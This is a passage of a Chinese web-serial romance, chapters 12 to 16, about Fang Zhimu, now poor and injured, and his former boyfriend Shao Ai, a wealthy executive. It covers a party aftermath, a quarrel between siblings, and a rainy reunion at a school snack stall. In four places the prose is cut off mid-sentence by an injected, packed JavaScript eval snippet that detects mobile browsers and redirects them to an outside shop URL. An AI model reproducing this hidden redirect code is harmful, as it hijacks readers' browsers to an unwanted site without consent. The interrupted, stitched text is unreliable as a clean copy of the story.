伍天华更懵了。弄脏他衣服的人是方知慕,邵艾给他钱干什么?总不能是念书那会儿被方知慕折腾出了斯德哥尔摩,直到现在都没痊愈,要给方知慕收拾烂摊子吧? “啊,对了。”高希玥想起什么,“本来你们公司的条件就不是最好的,又有伍经理这样的……”她顿了一下,莞尔:“人才。合作的事情就算了。” 伍天华瞬间如遭雷击。 “什、什么?”伍天华慌乱道:“高小姐,这是什么意思?合作的事情可以再谈,真的……” 高希玥直接发动车子,给伍天华吃了一嘴尾气。 直到车将要驶离地下车库,还是可以从后视镜里看见伍天华呆滞立在原地的身影。 “欸。”高希玥说:“给你男朋友出气啊?” 邵艾看她一眼。她就开口:“前男友。” “本来就没想跟他们合作。”邵艾闭上眼睛,一脸厌倦,“恰巧而已。” 高希玥乐不可□□你给人二十万支票什么意思?钱多得没地方花啊。” 邵艾:“闭嘴。” 高希玥:“我觉得你前男友好帅,我可以追吗?” “他现在自己都养不活。” “我有钱啊。”高希玥挑起眉,“我养他不就得了。” 邵艾警告道:“你现在是我女友。” “法律规定不可以有两个老公,又没说不能有两个男朋友。”高希玥有自己的道理,“我都陪你相亲了,你还不许我多找一个男朋友?” “……” 邵艾觉得头疼。 “既然还喜欢他,为什么不追?” “谁说我还喜欢他?” 高希玥翻了个白眼。 邵艾从烟盒里敲了支烟出来,打火机咔嚓一声点燃,直到尼古丁和焦油在肺腑里滚过一圈,安抚了躁动的心脏,他才说:“是他甩了我。” “我们没可能了。” 12.chapter12 方知慕走出酒店的时候才发现外面下了雨。 淮城夏季湿热多雨,这样的夜雨已经下了好多天,方知慕站在酒店的廊檐下,抹了把脸。 最近精神恍惚,出门应该带把伞的。这附近又没有什么便利店,离最近的公交站也要走个十分钟。至于打车……打车回去最少也要七八十,是没必要的支出。 好在酒店的侍从看出他是今夜来参加的宴会的宾客,好心地提供了一把透明的塑料伞给他,并且关切道:“先生,需要我帮您把车开过来吗?” 方知慕一顿,说不用了。 他撑着伞走进雨幕。 入夜后处处是绚烂霓虹,明亮的灯带贯穿整座城市,巨大的天幕正在播放方知慕不认识的男明星的广告,街道上来来往往的人都行色匆匆,装修高级的店面已然早早关上了玻璃门。 细雨像是断断续续的锋利的线,将众生百态切割成无数快,各有喜怒悲欢,蒙蒙的雾气又让这一切变得虚无缥缈,显得离方知慕很远很远。 坐公交回到住处附近,方知慕先去药店买了点胃药,他拎着塑料袋走进冷冰冰的房间,去厨房烧水。 忽然门锁咔嚓一声响,有人进来。那人道:“我都已经跟你说过很多次,让你把备用钥匙换个地方藏着。” 方知慕倒了两杯热水,走出厨房,“难道你还能从我这家徒四壁的出租屋里偷东西?”他边说边将另一杯水递给对方,打量道:“穿成这样,你刚相亲回来啊?” “……”从衍道:“我刚下飞机,就临时接到通知,让我去参加宋蔓的生日宴。” 方知慕一愣,随后有点无奈,往后靠在厨房的门板上,“那你都看见了啊,我那丢脸的样子。” “你在乎我看见吗?”从衍反问。 “你都看过多少次了,要是还在意,我就不用活了。”方知慕叹口气,又揶揄道:“所以你是担心我觉得难受,所以才来这里,准备安慰我的?” 他随手在从衍肩上拍了拍,“放心,一点小事而已。” 从衍看着他从药盒里拆药,皱眉:“你胃病又犯了?” “啊。”方知慕说:“不是故意的。前几天睡觉忘了关窗户,感冒,动弹不了,才没好好吃饭。现在已经好很多了。” “你今天没用拐杖?” 方知慕就有点心虚。他去参加生日宴要是还杵个拐杖,就有点太引人注目了。 “医生不是说了还不能直接负重走路吗?”从衍眉毛皱成一团,简直气笑了,“你别告诉我,你走路到公交车站,坐公交回来的?” 方知慕假装很忙地喝水。 “还在那里站着。”从衍无语,“你腿不要了?坐下我看看。” “你又不是医生,你能看出什么啊。”话是这么说,方知慕怕从衍发飙,还是坐下了,挽起裤腿,露出细瘦的小腿,“没什么问题啊。” 骨头上的伤,从外面当然看不出什么。其实方知慕的左腿从出门开始就在胀痛,但他没敢说。 “明天去医院看看。” 方知慕说好。其实心里打算等下次复诊的时候一起去看。 从衍:“我送你去。” 方知慕:“……不用吧,你今年不是一直很忙吗?” “半天时间还是能抽出来。”从衍在方知慕对面的椅子上坐下,“你应该知道今天伍天华为什么针对你。” “我和他本来高中的时候就有矛盾……” 从衍直接道:“他公司想要跟邵艾合作。伍天华在宴会上羞辱你,过去的恩怨只是原因之一。他公司和宋铭松是竞争关系,自然不会给宋铭松面子。最后也是最重要的原因,他在讨好邵艾。” “因为你们以前关系不睦,他想通过折腾你来跟邵艾拉近关系,进而促成合作。” 这一点方知慕还真不知道。 公司与公司的明争暗斗,离他太远了。 “抱歉。”从衍道:“当时我爸在,我没有……” “没事的。”方知慕打断道:“要是让你爸知道直到现在你还在跟我联系,没准会气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964991|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得断绝父子关系,你帮我,那才更麻烦。” 从衍抿紧了唇。 十岁那年父母离婚,他被判给母亲远赴美国,那之后几乎跟方知慕断了联系。直到八年前母亲去世,他回国发展,才知道方家的事。 在方岩还是方总的时候,和他父亲可以说是水火不容,即便方岩如今已经成了个废人,仇怨也没有丝毫的缓解。 “好了,别板着脸。”方知慕看了眼窗外,雨已经停了,道:“你赶紧回去吧,说不定待会儿又要下雨。” 从衍:“明天早上九点,我来接你去医院。” “知道了知道了。”方知慕送他到门口,“要我送你下去吗?” 从衍指着他:“你真不想要你那腿了?” 方知慕做了个投降的手势。 楼道里的声控灯早就坏了,时灵时不灵,唯有转角处的窗户会透进暗淡的、雾蒙蒙的月光,更显得年久失修的水泥楼梯一片冰冷。 从衍点了支烟,边走边打电话:“嗯……给他十一万。” “以方知慕的名义。” 他到了单元楼门口,在垃圾桶盖上摁灭烟头,“就说是赔他那件衣服。” 秘书问:“需要告诉方先生吗?” “不用。”从衍将烟头弹进垃圾桶,淡声道:“就是不想让他知道才让你去办。” 要是方知慕肯用他的钱,也就不会这些年一直住在蜗牛壳里过活了。 方知慕说得不错,这么一会儿功夫,又飘起濛濛细雨,从衍想起今夜觥筹交错的宴会厅里,方知慕和邵艾交握一瞬的手。 或许方知慕太紧张没有察觉,他却隔着幢幢人影看见邵艾收回手后手指攥成了拳,手背上青筋毕露。 那可不像是没感情了的样子。 车停在小区外面,从衍也没打伞,就那么踏进飘摇的雨里。 年少的爱恋就像是庭前的玫瑰,窗外的月光。十年过去,玫瑰凋残,月光灰败。 可玫瑰仍是玫瑰,月光仍是月光,永志难忘。 13.chapter13 邵艾第二天是被邵苡的砸门声吵醒的。 他摸过手机看了眼,早上六点。虽然昨天没到喝醉的程度,但也实打实地灌了好几杯,本来昨晚就没有睡好,又大早上被吵醒,邵艾拉开门的时候没什么好脸色:“干什么?” 邵苡顶着个鸡窝头,身上套着睡裙,甚至拖鞋都没穿,将手机举到邵艾面前:“你昨天见到知慕哥哥了是吗?” 听见方知慕的名字,邵艾的脸色更臭了。他瞥了眼邵苡手机上的内容,是不知道谁发的朋友圈,说在宋蔓的生日宴上看了场好戏,还拍到了方知慕的身影。 邵艾的眸光落在那张照片上。 方知慕站在人群中,灯光太晃眼,以至于那一瞬间相机也未能拍到方知慕的脸,倒是邵艾自己的侧脸清清楚楚。看起来没有丝毫老同学久别重逢的喜悦,也没有穷小子翻身的喜悦。 原来他当时是这样的表情。 “你见到了知慕哥哥为什么不告诉我?”邵苡暴躁道:“哥你不觉得自己太过分了吗?” “还有,那个狗眼看人低的伍天华讲那么难听的话你为什么不管?你竟然让那么多人看知慕哥哥的笑话。”邵苡咬紧嘴唇,眼眶通红,“宋蔓也是,以前追在知慕哥哥身边一口一个哥哥叫得可好听了,现在她在装什么?觉得自己很了不起吗?!” 邵艾倒是不知道邵苡骂人还这么厉害。 等邵苡发泄完了,他才道:“我为什么要管,又以什么立场管?” 邵苡不可置信,“你怎么能说出这种话?以前你们关系明明很好的,知慕哥哥帮了我们那么多……” “邵苡。”邵艾尽量心平气和,“是他自己一走了之的。” 他和方知慕之间那些破事儿实在是没什么好说,邵艾也不想告诉邵苡,语气加重了一些:“现在回去洗漱,准备去学校。” “我才不去学校!”邵苡道:“我要去找知慕哥哥。” 邵艾冷笑:“你去哪里找他?” 邵苡一僵。 “另外。”邵艾说:“你不觉得自己现在去找他,会对他造成负担吗?” 邵苡显然不能理解,她从小就对人类各种复杂的情绪难以分辨,虽然随着年龄的增长有所改善,但终究比不上正常人。 “你见到他之后要做什么?”邵艾烦得想抽烟。方知慕方知慕……这个名字就跟阴魂不散似的缠着他,但他还得耐着性子跟邵苡掰扯清楚,“觉得他现在过得很惨,给他车,房,钱?” “姑且不说你的这些东西都还是我给你的,你觉得要是他肯接受别人的施舍,会至今没有认宋铭松?” 邵苡眼泪吧嗒吧嗒掉,“可是、可是……” “没有可是。”邵艾冷酷道:“不要去打扰他,邵苡。” “我讨厌你!”邵苡一把推开邵艾,哭着道:“你总是这样,就是因为这样知慕哥哥才会离开的!” 邵艾头痛欲裂。 他不想再去回忆当年那些灰尘都盖了好几层的旧事,也没耐心再安抚妹妹,盯着邵苡道:“我让你回去洗漱,准备上学。” 邵苡哭着跑走了。 一整天邵总心情都欠佳。因为邵苡又逃学了。老师打电话来的时候说辞邵艾都要能背下来,他也熟练地赔罪道歉承诺,挂断电话后让助理去确认邵苡的位置。 得知她在朋友家后才稍微放心。 结果下班的时候又在楼底下被伍天华缠上,这胖子仍不死心,哭得一把鼻涕一把泪,想要再争取一下合作机会,看得出来公司给他的压力确实很大,一夜之间他头发都白了几搓。 但邵艾毫不关心。 他连话都没有跟伍天华说,直接让保安将人请走。 回到家,邵艾敲了敲邵苡的房门,没有任何反应,应该是打定主意不理他了。 邵艾也没什么胃口,随便吃了点东西。人有余暇的时候总是会忍不住想些多余的事,他干脆进书房继续办公,直到手机叮咚一声响,邵艾才察觉已经八点半了。 消息是极光发来的,问他今天没上线,是不是有事要处理。 邵艾蓦地想起极光好像有个和邵苡年纪差不多大的女性朋友。从他还会买礼物这点来看关系应当相当亲密,问问极光或许能有收获。 他合上电脑,回到卧室登游戏,开口先迂回了一下:“哥哥,上次挑选的礼物,你朋友喜欢吗?” “……”方知慕看了眼放在床头柜上的礼物盒。今天去医院的时候忘了问从衍认不认识做这种修复工作的店了。 “她不太喜欢。”方知慕说完又补充:“不过不是礼物的问题,是我的问题。” 草莓酱道:“哥哥这么好,能有什么问题?肯定是她的错。” 方知慕莞尔,“你又没见过我,不要轻易下定论。人都是多面性的,或许很好的人也会做很坏的事,很坏的人也会做件好事……你要是一直这样单纯,容易被骗。” 邵艾挑了下眉。 这个极光还有点良心。起码直到如今,除了收下上次买药的那两百块,一分钱没找草莓酱要。 “哥哥,其实我有件事想要问你。”草莓酱犹犹豫豫:“希望你能给点建议。” “嗯?”方知慕笑着道:“什么事?” “我跟我妹妹闹了点矛盾。”草莓酱含糊其辞:“她想去找我以前一个老同学,我觉得这么多年大家早就没交情了,她不应该去打扰人家,我们就吵架了。” 方知慕心想现在的孩子也真是的,才多大点啊就“老同学”“这么多年”了,完全不考虑他们这些真正要奔三了的人的心情。 “哥哥,你觉得,是我做错了吗?” “这个……”方知慕道:“可能你妹妹很喜欢你那个同学,所以想要见他,你不喜欢这个老同学,也不想打扰他的生活,所以制止你妹妹,你们侧重点不一样,没有谁对谁错的。” 草莓酱:“谁说我不喜欢他了?!” “可是我刚刚听你的语气,好像就是不太喜欢的样子。” “……是哥哥的错觉。”草莓酱几乎有点咬牙切齿了,“我没有不喜欢他。” 方知慕故意逗她:“那就是喜欢他了?” “也没有喜欢!” 方知慕:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968494|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你上次说的不小心遇见的前任吧。” 邵艾:“。” 这人怎么这么敏锐。 “其实我觉得,你应该尊重你妹妹的想法。”方知慕真诚道:“你和你前任是你们的事,你妹妹和他是他们的事,不能混为一谈。总不能因为分了手,就不许身边任何人跟前任有来往对吧?” 草莓酱委屈:“那哥哥,你是觉得我做错了吗?” “……没有的,你也没有错,你也是为了你妹妹和前任考虑。”实则一次恋爱都没有谈过也没有兄弟姐妹的方知慕被迫做起了情感导师,“但是我觉得这件事你还是不要插手太多。” 草莓酱沉默了一会儿,“我知道了。我想跟她道歉,但是她现在关着门不肯见我。哥哥知道该怎么哄吗?” 方知慕刚想要我也没有这方面的经验啊,忽然想到,不对,他其实有。 以前常去邵艾家里玩儿,也碰上过兄妹俩吵架。 邵艾年少的时候脾气更冷硬,半点不肯让着邵苡,吵的时候简直是昏天暗地。但他到底是哥哥,吵完了后要是邵苡太生气,不肯出来吃饭,就出门去学校后门附近的摊子买两个糖饼。 哪怕是方知慕跟他一起去,他也只买两个,因为方小少爷嫌弃路边摊不卫生,不肯纡尊降贵吃这种东西。但在从学校回邵艾家的那段路上,他跟邵艾说着说着话,就不时咬一口糖饼,咬着咬着,到了家里就只剩一个空塑料袋了。 当邵艾把糖饼放在邵苡放门口,再敲三下门,邵苡就知道这是哥哥来求和,她会探出头把糖饼拿走,吃完后打开门,吵架的事情就算翻篇。 那是他们多年来从没有宣之于口的约定。 想到这里,方知慕道:“你妹妹有喜欢吃的东西吗?你买她喜欢吃的东西,好好道个歉吧,她会原谅你的。” 邵艾瞬间想起了往事。 小时候他们太穷,一分钱恨不得掰成两半花。两块钱一个的糖饼对于他们来说都是奢侈。在不认识方知慕以前,他哄邵苡,都只买一个。后来方知慕总是跟着他,他就得多买一个,堵那小少爷的嘴。 少爷从小山珍海味,嘴挑得很,倒是跟邵苡一样喜欢吃糖饼。 后来他考上大学,带着邵苡离开淮城,上学、兼职、毕业、跑公司业务,公司越做越大,他给邵苡的东西也越来越多,那在当年来说是珍馐美味的糖饼已经成了廉价的路边摊,再没人提起。 “我知道了。”草莓酱说:“哥哥,今天先不打了。” 方知慕跟她告别,看了眼时间,九点不到。 老板真是钱多事少,让他怪愧疚的。 方知慕起身,本打算去厨房烧开水随便吃碗泡面,但也不知道是不是因为跟草莓酱聊天的时候说起了糖饼,他忽然有些想念那个味道。 其实不是多好吃的东西,就是简简单单的一款淮城特产的小吃,那种朴素的味道却让方知慕记了许多年。 开水壶发出响声,水开了。 方知慕没拆泡面,杵着拐杖一瘸一拐地出门。 与此同时,邵艾抓起入户桌上的车钥匙,匆匆下楼。 14.chapter14 淮城一中坐落在老城区,历史悠久,每年的升学率都相当喜人,只要上了这所学校,就算是回回考试垫底也能混个不错的本科——当然,方知慕并不这在其中。 按照他当年的中考成绩,就算是二十一中都不一定进得去,他能上一中,纯粹是因为方总给学校捐了栋艺体楼。因为这栋楼,学校老师都对这混世小魔王睁只眼闭只眼。 邵艾现在住的地方离一中很远,哪怕晚上已经不堵车了,他开过去还是花了快一个小时。这个点学生们早就已经回家了,学校大门紧闭,老保安靠在保安亭里打瞌睡,校门口那棵巨大的榕树却仍如同记忆里那般葳蕤如云。 方向盘一打,迈巴赫停在巷子口。这里十分狭窄,甚至连错车都非常困难,熟悉路况的人都不会把车开进来。 邵艾在这附近住了很多年,闭着眼睛都知道该怎么走。 看见小推车上挂着的白炽灯泡时,邵艾轻松口气。 卖糖饼的小摊还没走,今夜不至于白跑一趟。 别处光线昏暗,悬着灯的小摊又太明亮,刺得人眼睛生疼。 卖糖饼的仍是十年前那个阿婆,只是她已经苍老许多,原本只是花白的头发如今已经雪白,岁月留下的痕迹在她脸上化作一道道沟壑,因为早些年的意外,她耳朵不太好,跟她讲话要大声些,她跟人讲话也很大声。 以前和方知慕来买糖饼,小少爷隔老远就拉长了嗓子喊阿婆,来三个糖饼。 那时候的方知慕很健谈,跟路边的趴着睡懒觉的猫、绕着人团团转的狗,甚至枝头上停留的一只麻雀都能唠上良久,邵艾常会震惊怎么会有人的话这样多。 “哎哟。”阿婆本来都准备收摊了,看见邵艾,愣了下,随即道:“俊后生,你以前是不是在这学校念书?” “是。”邵艾有些意外,“这么多年过去,您还能认出我?” “你长这么俊,哪里会记不得哟。”阿婆笑呵呵道:“你要两个糖饼是不?” 邵艾点头。 阿婆一边打包一边道:“要是你自己来买,就是两个,如果另一个小话痨跟你一起,他就要买三个……我记得清楚着呢。也是巧,我女儿心疼我,要接我去她工作的地方养老,不让我干这个啦,今天卖完,我就不来摆摊了。” 邵艾轻声说:“以后都吃不到您做的糖饼了。” “嗨呀,又不是我只有我家卖,总有比我做的更好吃的。”阿婆慈和道:“万事万物呀,都有缘分到了的那一天。” 邵艾刚接过塑料袋,忽然远远听见一嗓子:“阿婆——给我三……”卡了一下,又改口说:“一个糖饼!” 塑料袋脱手,邵艾一瞬间还以为犹在梦中。 “诶!”有人一阵风似的卷过来,在塑料袋要落到地上前眼疾手快地抓住了,“兄弟,你的……” 后面的话又卡住了。 只是这次不是改口,而像是有人掐住了他的脖颈,让他硬生生把后面的话咽了回去。 一如邵艾没想到会在这里遇见方知慕,方知慕也没有想到会在这里看到邵艾。 方知慕不自然地笑了下,将塑料袋放在推车的台面上,“你的东西。” 阿婆大声道:“小伙子,你要三个糖饼呐?没有三个了,还剩一个,我打算自己吃的,来,这个送你了。” 方知慕忙说:“不行不行……” “这有什么,拿着吧。”阿婆笑眯眯道:“我明天就不来啦。看你们还在一块,我心里也高兴。” 方知慕和邵艾都愣住了。 “怎么啦?”阿婆说:“你们今天没有一起过来,是不是吵架了?” “……没有。”方知慕道:“谢谢您。您要回家了吗?” 阿婆点头,“你们也回吧,我儿子待会儿就来接我了。看这天气,马上就要下雨咯。” 方知慕抓着热腾腾的糖饼,一抬头,就发现邵艾一直在看着自己。 方知慕有点头皮发麻,觉得这时候应该说点什么,但他跟邵艾好像又没有什么好说的,只好强行找了个话题:“好巧,你今晚也想吃糖饼?” 邵艾:“邵苡想吃。” “哦……”方知慕垂下头,把自己本来就乱糟糟的头发抓得更乱,“邵苡应该已经是个大姑娘了吧,她过得还好吗?” 邵艾平静道:“你不是应该先问我过得好不好吗?” 方知慕用鞋尖轻轻蹭了下地面。 之前没有和他站得这么近,方知慕还没察觉,如今这样两人面对面站着,他才发现邵艾好像比起高中那会儿又长高了不少。原本他能到邵艾的眉眼处,现在却矮了半个头,他还杵着拐杖,气势大减,此为一输。 邵艾一身衬衣西裤看着像是国际名模,他套了件洗得发白领口松垮的T恤加上短裤拖鞋就出门了,像是来校门口收保护费的混混,此为二输。 他二输而邵艾二赢,此为三输。 简直是输得不能再输,输无可输。 “你……”方知慕咳嗽一声,说:“你看上去就过得很好啊,我觉得不用问了。” 邵艾扯了下唇角,那是个明明白白的冷笑。 方知慕怕死了他跟自己掰扯过去的破事儿,连忙转移话题:“那什么……你有伍天华的联系方式吗?他那衣服我是赔不起,但是干洗费还是应该给人家……” 邵艾打断他:“我为什么会有伍天华的联系方式?” “你们,”方知慕抿唇,“不是朋友吗?” “……”邵艾气笑了,“所以你觉得是我指使伍天华刁难你的?”他朝方知慕逼近一步,方知慕立刻后退一步,吓得后背汗毛都要起来了,“我没……” “方知慕。”邵艾盯着他的眼睛,“你觉得我有必要大费周章去刁难一个高中同学?” 在听见邵艾这句话的时候,方知慕先是呆了呆,而后又释然地笑了下。 也是,他和邵艾其实也就是高中同学而已。 岁月如水逝去,这十年里邵艾早已看过了无数绚烂风景,见过了形形色色的人,如果说现在还对他有什么感情,应该只有厌恶才对。 “你笑什么。”邵艾面无表情道:“我的话很好笑?” 方知慕觉得他挺不讲道理的,明明他自己刚刚也笑了,怎么还不准别人笑的。如果是以前,方知慕肯定要勒住他脖子好好质问一番,但现在,他只能低声说一句:“……对不起。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979479|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邵艾更加烦躁。 方知慕突然道什么歉,好像他才是那个恶人。 “我先走了。”方知慕转过身,“邵总也早点回。” 邵艾还没说话,忽然一阵狂风刮过,倾盆大雨随即落下,没有给人任何反应的时间。 方知慕退回一步,躲在推车下,整个人都懵了。 这贼老天。 “我就说要下雨吧。”阿婆念念叨叨:“夏天的天气呀就是这样。来,我这儿还有伞,你们拿去用吧。” 这时候拒绝两人都要淋成落汤鸡,邵艾伸手接过伞道谢,又从钱夹里抽出一张现金,阿婆忙摆手道:“不用不用,就是一把破伞,不用给钱。” 邵艾将钱放进她收钱的小柜子里,转头还没说话,方知慕已经非常默契地跟了上来,两人迈进雨里,阿婆在身后追都追不上,直道:“一把旧伞而已,哪里用的上给这么多哟!” 伞挺大,但是要罩住两个成年男性还是有些勉强,尤其两人之间好像还给第三个人留了位置似的,邵艾瞥见方知慕半边肩膀都被雨水打湿了,皱了下眉,抬手直接扣着人肩膀拉了过来。 方知慕吓一跳,“你……” 邵艾:“我身上有病毒?” “不是。”方知慕转过头,有些不自在,“我记得你不喜欢别人靠你太近。” 邵艾道:“我也没想别人因为我生病,尤其对方还是个瘸子。” 方知慕:“。” 行吧。 过了一会儿,邵艾又道:“腿怎么弄的?” “送外卖的时候,被车撞了一下。”方知慕认真看路,“其实不是很严重,休养一段时间就能好。” 邵艾冷冷:“谁问你了?” “……” 邵艾:“伤筋动骨还不严重,非得要躺icu才叫严重?” 方知慕其实还挺熟悉他这种阴阳怪气,刚认识邵艾的时候他以为邵艾是沉默寡言的类型,后来才知道他不轻易开口是因为怕一舔嘴皮子给自己毒死了。 到了邵艾的车前,方知慕看见车牌后脚步一顿,邵艾也一僵。 不知道今天会碰见方知慕,邵艾开的是他常开的那辆迈巴赫,这块车牌曾是方知慕的十八岁生日礼,饶是方小少爷收到的贵重礼物无数,这块生日牌也肯定印象深刻。 方知慕耷拉下眼皮。 刚出车祸不久那会儿,他和柳荫在烧烤摊上吃烧烤,曾经看见这辆车驶入酒吧街,当时还说是哪家的少爷出来嗨了,没想到是邵艾的车。 当年跟他告白都耳根通红的人现在不仅有女友、未婚妻,还要逛夜店……真的很难说岁月到底教会了邵艾什么,将他变作了一个五毒俱全的脏脏的大人。 “你看什么。”邵艾先发制人。 “……没什么,就是你这车蛮贵的吧。”方知慕伸手从邵艾手里接过伞,道:“你上车吧,伞我就撑走了。” 邵艾:“我花钱买的。” “借我用用吧邵总。”方知慕说:“这么大的雨呢。” 邵艾脸色更难看了。 这么大的雨,知道找他借伞,不知道上他车。 蠢死方知慕得了。 15.cheaper15 迈巴赫从身旁驶过,方知慕看着橘红色的车尾灯消失在蒙蒙的雨雾里,良久才收回视线。 这个点公交已经停运了,想要回去只能打车,方知慕一只手撑伞,一只手拿着手机打车,还撑着个拐杖,他自己都感叹,人类为了一口吃的真是完全不怕任何困难和麻烦。 也不知道是不是雨太大,一时间竟然没人接单。 方知慕又舍不得花钱追加车型。升级车型的钱都够一天生活费了。他耐心看着手机屏幕,忽然被车灯晃了一下眼睛。 他还以为是自己挡了路,连忙往旁边挪了几步。 车仍旧没动,这次直接按了两声喇叭,短促且暴躁,听得出来车主的心情不太好。 方知慕:“?”都这么宽了还要怎样?讲不讲理啊。 他抬起头,正好看见驾驶座的车窗打开,露出邵艾面无表情的脸,两人目光措不及防相对,方知慕下意识道:“你有东西掉了?” 邵艾不说话,就那么冷冷地盯着他,盯得方知慕浑身起鸡皮疙瘩,蓦然让他想起以前,要是有什么事没有遂邵艾的意,他就这样装高冷,把人往死里盯。 对于这一招,方知慕完全没有招架之力,最后都会顺着邵艾。以前没有,现在他也没有,思索了一会儿后,他迟疑地走到车后座,拉了拉车门。 没拉开。 ……看来是他自作多情了,人家不是要捎他一程的意思。 方知慕讪讪收回手。 邵艾从面无表情变成满脸不耐烦:“你把我当司机?” 方知慕绕到副驾驶,这次车门轻松拉开了,他收伞坐进车里,听见邵艾的声音:“伞放后座地上。” 方知慕照做,垂眸看见昂贵的车垫上已经全是自己鞋底带进来的泥巴水,他脚趾蜷缩了一下,邵艾明明在看后视镜,却像是后脑勺也长了眼睛般:“冷?” “没有。”其实在雨里站了那么久是挺冷的,但他已经很给邵艾添麻烦了,还是尽量…… 一件外套兜头把方知慕罩住,散发出很淡的洗衣凝珠的味道,方知慕对香氛没有了解,只觉得像是某种木头。 邵艾问:“地址。” 方知慕道:“欣悦小区。” “……”邵艾终于转过头看着他,“哪儿?” 方知慕移开视线,重复了一遍。 车里一时间没人再说话,邵艾发动车子,迈巴赫的车轮溅起泥水,雨珠砸在车顶的声音沉闷又遥远,方知慕不自觉地掐紧了手指。 高三上学期的时候,邵艾的外婆重病住院,急需一大笔钱,邵艾连像样点的饭菜都吃不起,哪来的钱交手术费,唯一的办法就是将妈妈留下的那套小小的房子卖了。 房子卖了,他和邵苡总要有个住处,欣悦小区这一片都是安置房,出了名的租金低廉,又离一中不算特别远,自然是邵艾租房的首选。他跟着中介来看房的时候,方知慕也死皮赖脸地跟着。 还没进小区,小少爷就眉头紧皱,嫌弃之情溢于言表,十步之内挑了十一个问题,等到了出租屋,看见狭小的厨房客厅并一间小小的卧室,脱口而出一句“这还没我家卫生间大”。 除了小得可怜的面积,陈旧破烂的家具、剥落的墙皮、厨房里不知道堆积了多少年的油渍、早已看不清原色的窗帘布……全都在小少爷的雷点上,仿佛踏进这里一步都要折寿。 旁边中介白眼都要翻到天上去,偷偷嘀咕就那么点钱难道还想要租个大别墅。 小少爷看完了房间后,拉着邵艾转身就走,扬言邵艾要是敢住在这种地方他就从学校天台跳下去。 邵艾不想莫名其妙背上一条人命,只能跟中介道歉,说再看看别的房子。 结果出单元楼的时候,正遇见一群社会青年,边走边抽烟吐痰嗑瓜子。 欣悦小区大部分都是租户,龙蛇混杂,什么三教九流都有,卫生情况本来就堪忧,看见这一幕,方知慕简直要晕厥过去了,忙去看自己的鞋底有没有沾上脏东西。 最后是邵艾把他背出去的。 小少爷趴在人背上还有话说:“邵艾,你要是住这种地方,我就跟你绝交。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983692|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就算了,邵苡怎么办,她一个小女孩,住这里多危险啊。” “我不是说了吗,我学校附近有套房的,我成年后我爸给我的,你们可以……” 邵艾打断他:“要不要吃糖饼。” “不要。”方知慕说:“我妈不让我吃这些。” 邵艾斜眼看他:“你还吃得少了?” “说了不吃就是不吃。” “但是我想吃。”出了小区,邵艾也没把人放下来,背着他继续往前走,“不过吃不完一整个。” 方知慕指责他:“那你不是浪费粮食吗?” 又很勉强:“那我帮你吃半个好了,但只此一次。” “嗯,谢谢。” 最后邵艾家的小房子没有卖出去。因为有基金会了解到他们家的情况,捐助了医药费。 方知慕知道邵艾必定也想起了往事,不由觉得有些好笑。曾经他百般挑剔的地方,成了他的容身之所。或许这就是风水轮流转,邵艾没有住进去的地方,最终成了他的蜗牛壳。 车子转过一个街口,有店铺的灯光十分明亮,有什么东西反光,一瞬间晃了方知慕的眼睛,他眯眼去捡起来,才发现是一支口红。 他对彩妆没研究,但知道邵艾肯定不会用口红。 口红的棱角硌到了掌心,方知慕在那细微的疼痛里回过神,面无异常地侧身,摊开手,道:“有东西掉了。” 邵艾瞥了眼。 应该是上次邵苡坐他车不小心掉的。都说了多少遍学校不让化妆……这丫头就没听进去过。 邵家随手放进方知慕披着的外套口袋里,“谢了。” “没事。”方知慕去看车窗外模糊的街景,不由想那支口红是高希玥的还是宋蔓的。……又或者属于邵艾在酒吧街遇见的露水情缘。 不管是哪种,他都没有开口询问的资格。但车里实在是太安静了,安静得让方知慕心烦意乱,让他觉得必须要说点什么来让自己从这压抑的氛围中挣脱。 “……邵艾。”方知慕说:“你要跟宋蔓联姻吗?” 16.chapter16 刚出口,方知慕就意识到自己说错话了。 因为邵艾握着方向盘的手明显用力,手背上青筋更加明显。 